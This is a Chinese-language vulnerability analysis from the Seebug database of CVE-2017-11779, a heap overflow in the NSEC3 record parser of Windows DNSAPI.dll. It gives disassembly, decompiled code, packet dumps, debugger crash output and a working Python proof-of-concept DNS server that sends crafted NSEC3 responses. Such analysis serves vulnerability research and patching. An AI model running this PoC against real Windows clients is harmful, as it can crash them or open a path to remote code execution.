Lucene search

K
seebugRootSSV:96718
HistoryOct 16, 2017 - 12:00 a.m.

Windows KEPT remote code execution vulnerability analysis(CVE-2017-11779)

2017-10-1600:00:00
Root
www.seebug.org
39
windows
dns
vulnerability
remote code execution
system level
nsec3_recordread function
dns response
nsec3 resource record

EPSS

0.506

Percentile

97.6%

根据 Microsoft 安全通告,多个版本 Windows 中的 DNSAPI.dll 在处理 DNS response 时可导致 SYSTEM 权限 RCE。

以 DNS Client API DLL 10.0.15063.0 与 10.0.15063.674 为例,补丁对比,

可知漏洞存在于 DNSAPI.dll 中的 Nsec3_RecordRead 函数,那么可以确定问题就是出在解析 DNS response 的 NSEC3 Resource record,为了构造 PoC,先得了解这个 “NSEC3” 的背景。首先,DNS 协议数据结构如下图所示,

例如,当访问 http://justanotherbuganalysis.github.io/ 时,DNS query 如下,

9d 4b 01 00 00 01 00 00 00 00 00 00 16 6a 75 73  .K...........jus
74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79  tanotherbuganaly
73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01  sis.github.io...
00 01                                            ..

DNS response 如下,

9d 4b 81 80 00 01 00 02 00 00 00 00 16 6a 75 73  .K...........jus
74 61 6e 6f 74 68 65 72 62 75 67 61 6e 61 6c 79  tanotherbuganaly
73 69 73 06 67 69 74 68 75 62 02 69 6f 00 00 01  sis.github.io...
00 01 c0 0c 00 05 00 01 00 00 0e 10 00 1b 03 73  ...............s
6e 69 06 67 69 74 68 75 62 03 6d 61 70 06 66 61  ni.github.map.fa
73 74 6c 79 03 6e 65 74 00 c0 3e 00 01 00 01 00  stly.net..>.....
00 07 08 00 04 97 65 4d 93                       ......eM.

可见该 DNS response 中的 Answer RRs 包含了 CNAME(0x05) 与 A(0x01) 两个 Resource record(RR),由于该域名所在的 Domain Zone 并未配置 DNSSEC,所以在 response 中并没有 Authority RRs 与 Additional RRs。后面为了把程序执行流引到 Nsec3_RecordRead 函数,触发漏洞,在 Authority RRs 中加入特定 NSEC3 记录即可。

再来看漏洞,

.text:0000000180066693                 movzx   ecx, ax
.text:0000000180066696                 xor     edx, edx
.text:0000000180066698                 call    Dns_AllocateRecordEx
.text:000000018006669D                 mov     r13, rax
.text:00000001800666A0                 test    rax, rax
.text:00000001800666A3                 jz      short loc_18006668C
.text:00000001800666A5                 mov     al, [r14]
.text:00000001800666A8                 mov     [r13+20h], al
.text:00000001800666AC                 mov     al, [r14+1]
.text:00000001800666B0                 mov     [r13+21h], al
.text:00000001800666B4                 movzx   ecx, word ptr [r14+2] ; netshort
.text:00000001800666B9                 call    cs:__imp_ntohs
.text:00000001800666BF                 mov     [r13+22h], ax
.text:00000001800666C4                 lea     rcx, [r13+28h]  ; Dst
.text:00000001800666C8                 movzx   esi, byte ptr [r14+4]
.text:00000001800666CD                 add     r14, 5
.text:00000001800666D1                 mov     rdx, r14        ; Src --> NSEC3 RR Salt value
.text:00000001800666D4                 mov     [r13+24h], sil
.text:00000001800666D8                 mov     r8d, esi        ; Size --> Salt length
.text:00000001800666DB                 call    memcpy_0        ; Overflow
.text:00000001800666E0                 add     r14, rsi
.text:00000001800666E3                 lea     rcx, [rsi+28h]
.text:00000001800666E7                 add     rcx, r13        ; Dst
.text:00000001800666EA                 movzx   ebx, byte ptr [r14]
.text:00000001800666EE                 inc     r14
.text:00000001800666F1                 mov     rdx, r14        ; Src --> Data in NSEC3 RR
.text:00000001800666F4                 mov     [r13+25h], bl
.text:00000001800666F8                 mov     r8d, ebx        ; Size --> Hash length
.text:00000001800666FB                 call    memcpy_0        ; Overlow
.text:0000000180066700                 sub     r15w, bx
.text:0000000180066704                 lea     rcx, [rsi+28h]
.text:0000000180066708                 sub     r15w, si
.text:000000018006670C                 lea     rdx, [rbx+r14]  ; Src
.text:0000000180066710                 add     rcx, rbx
.text:0000000180066713                 movzx   r8d, r15w       ; Size
.text:0000000180066717                 add     rcx, r13        ; Dst
.text:000000018006671A                 mov     [r13+26h], r8w
.text:000000018006671F                 call    memcpy_0        ; Heap Overflow caused by Integer Overflow
.text:0000000180066724                 mov     rax, r13
_WORD *__fastcall Nsec3_RecordRead(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned __int64 a5)
{
  __int16 v5; // ax
  __int64 v6; // r14
  DWORD v7; // ecx
  __int16 v9; // r15
  _WORD *v10; // rax
  _WORD *v11; // r13
  __int64 v12; // rsi
  char *v13; // r14
  char *v14; // r14
  __int64 v15; // rbx
  unsigned __int16 v16; // r15

  v5 = a4 + 6;
  v6 = a4;
  if ( a4 + 6 >= a5 )
  {
    if ( byte_180091A45 & 4 )
      WPP_SF_(46i64, &WPP_3905b13578e93036ce8b15be772e1375_Traceguids);
    v7 = 13;
    goto LABEL_5;
  }
  v9 = a5 - v5;
  if ( (unsigned int)(unsigned __int16)(a5 - v5) + 8 > 0xFFFF
    || (v10 = Dns_AllocateRecordEx((unsigned __int16)(v9 + 8), 0), (v11 = v10) == 0i64) )
  {
    v7 = 14;
LABEL_5:
    SetLastError(v7);
    return 0i64;
  }
  *((_BYTE *)v10 + 32) = *(_BYTE *)v6;
  *((_BYTE *)v10 + 33) = *(_BYTE *)(v6 + 1);
  v10[17] = ntohs(*(_WORD *)(v6 + 2));
  v12 = *(unsigned __int8 *)(v6 + 4);
  v13 = (char *)(v6 + 5);
  *((_BYTE *)v11 + 36) = v12;
  memcpy_0(v11 + 20, v13, (unsigned int)v12);
  v14 = &v13[v12];
  v15 = (unsigned __int8)*v14++;
  *((_BYTE *)v11 + 37) = v15;
  memcpy_0((char *)v11 + v12 + 40, v14, (unsigned int)v15);
  v16 = v9 - v15 - v12;                  //Integer Overflow
  v11[19] = v16;
  memcpy_0((char *)v11 + v15 + v12 + 40, &v14[v15], v16);
  return v11;
}

对于第一个 memcpy,通过调用 Dns_AllocateRecordEx 函数分配了 Dst 缓冲区,其大小取决于 NSEC3 RR 的 Data length 字段,Src 指向 NSEC3 RR 的 Salt value 字段,而 Size 则来自 Salt length 字段,都完全可控。

对于第二个 memcpy,同样的问题,只不过 Size 来自 Hash length 字段。

第三个 memcpy 操作之前,由于 v15, v12 皆可控,故可导致 unsigned int16 v16 = v9 - v15 - v12 发生 Integer Underflow,进一步导致 memcpy 越界读写。

容易写出 PoC 如下,

import SocketServer
import sys

class Handler(SocketServer.BaseRequestHandler):
  def handle(self):
    socket = self.request[1]
    data = self.request[0].strip()
    response = data[:2]
    response += "81a30001000000060001".decode("hex")
    response += self.get_question(data)
    response += "20564c513234375149385031545433413843474d4437474c464e44544947534455c01100320001000000b3".decode("hex")
    response += "0033".decode("hex")  # Data length
    response += "01000014".decode("hex")
    response += "ff".decode("hex")    # Salt length
    response += "80637d8af055b5eeca2a621edaaa3c5e".decode("hex")
    response += "14".decode("hex")    # Hash length
    response += "3d8a3eb61a9dfa951a42d7779c1f150685a01947000762018008000290c186002e0001000000b3011d00320a03000000b459fd6ea859d5d398794f057373686670036e6574000601e89304161294b0a21f3828a4c137c675cabaddeff8837fad9c553895b7bf9e2b21fc789786d1f3fb734e519a4662d453ea41fbcca87f9657608017a602639cc636a249d94f529bcc504e1823d0d59e446ed67b1e7a93ebd5f07db21e4f8e29150ff2454b34f5716be5b712640500e672b0eb81c5f03d6c4ea42effd282e842df4321b45a4c9f678c7996cd033b29ce1a13943856010eed3a6bd41880713be77e5459ded91199ec4b2b70543c6f00e20dd2cb1642424fb7be33731b1a2707ac8494d38638cbc1862bacad4824d8644aee4c835178ba4339524edf8e32cf9e63da0d6309c6a8187e6c7c181a99445a4cb799cab602359c22456a7db3d61809".decode("hex")
    response += "0000290200000080000000".decode("hex")
    print(response.encode("hex"))
    socket.sendto(response, self.client_address)

  def get_question(self, data):
    start_idx = 12
    end_idx = start_idx
    num_questions = (ord(data[4]) << 8) | ord(data[5])

    while num_questions > 0:
      while data[end_idx] != '\0':
        end_idx += ord(data[end_idx]) + 1
      end_idx += 5
      num_questions -= 1
    return data[start_idx:end_idx]

if __name__ == '__main__':
  server = SocketServer.ThreadingUDPServer(('0.0.0.0', 53), Handler)
  print('CVE-2017-11779 PoC Started.')
  try:
    server.serve_forever()
  except KeyboardInterrupt:
    server.shutdown()
    sys.exit(0)

例如,触发第一个 memcpy 堆溢出,令 NSEC3 RR 的 Salt length = 255,

0:004> r
rax=0000000000000014 rbx=0000000000000001 rcx=000001df5c89e3f8
rdx=000001df5c7c569c rsi=00000000000000ff rdi=0000000000000003
rip=00007ffcfab866db rsp=0000007043afef60 rbp=0000007043aff0a0
 r8=00000000000000ff  r9=0000000000000000 r10=0000000000000000
r11=00007ffcff06bf17 r12=000001df5c89e1f0 r13=000001df5c89e3d0
r14=000001df5c7c569c r15=000001df5c7c002d
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
dnsapi!Nsec3_RecordRead+0xbb:
00007ffc`fab866db e896d8fbff      call    dnsapi!memcpy (00007ffc`fab43f76)
0:004> db rdx
000001df`5c7c569c  80 63 7d 8a f0 55 b5 ee-ca 2a 62 1e da aa 3c 5e  .c}..U...*b...<^
000001df`5c7c56ac  14 3d 8a 3e b6 1a 9d fa-95 1a 42 d7 77 9c 1f 15  .=.>......B.w...
000001df`5c7c56bc  06 85 a0 19 47 00 07 62-01 80 08 00 02 90 c1 86  ....G..b........

最终,

(32e4.4e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpLowFragHeapAllocFromContext+0xa63:
00007ffc`fefed323 410fb780ae000000 movzx   eax,word ptr [r8+0AEh] ds:68736157`0a1308b2=????
0:004> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 00000048`296ff060 00007ffc`fefeaf7e : 00000000`00000200 00000000`00000000 00000000`00000004 64726562`00000000 : ntdll!RtlpLowFragHeapAllocFromContext+0xa63
01 00000048`296ff130 00007ffc`fab2f484 : 000001d8`00000000 00000000`00000004 00007ffc`fabb1e00 00000048`296f0000 : ntdll!RtlpAllocateHeapInternal+0xfe
02 00000048`296ff290 00007ffc`fab36d3f : 000001d8`1b8cc1b0 00007ffc`fcbd206f 00000000`00000000 000001d8`1b6c7560 : dnsapi!Dns_ParseMessage+0x334
03 00000048`296ff780 00007ffc`fab36b33 : 000001d8`1b6eb320 00000000`0000232b 000001d8`1b73ba20 000001d8`1b6eb320 : dnsapi!Send_AndRecvComplete+0x17f
04 00000048`296ff900 00007ffc`fab31fc1 : 00000048`296ffd50 00000000`00000000 000001d8`1b6c7560 000001d8`1b6c7560 : dnsapi!Send_AndRecvUdpComplete+0x333
05 00000048`296ff970 00007ffc`fc2e0320 : 000001d8`012fc570 00000000`7ffe0386 00000048`296ffc48 00007ffc`ff002d32 : dnsapi!Recv_IoCompletionCallback+0x1f1
06 00000048`296ff9f0 00007ffc`ff003277 : 000001d8`1b8284a0 00000000`00000000 00000000`00000000 000001d8`1b828568 : KERNELBASE!BasepTpIoCallback+0x50
07 00000048`296ffa40 00007ffc`ff0016d1 : 000001d8`1b828568 00000000`00000000 000001d8`1b73bb40 00000000`00000000 : ntdll!TppIopExecuteCallback+0x127
08 00000048`296ffac0 00007ffc`fe722774 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!TppWorkerThread+0x411
09 00000048`296ffdd0 00007ffc`ff030d51 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
0a 00000048`296ffe00 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21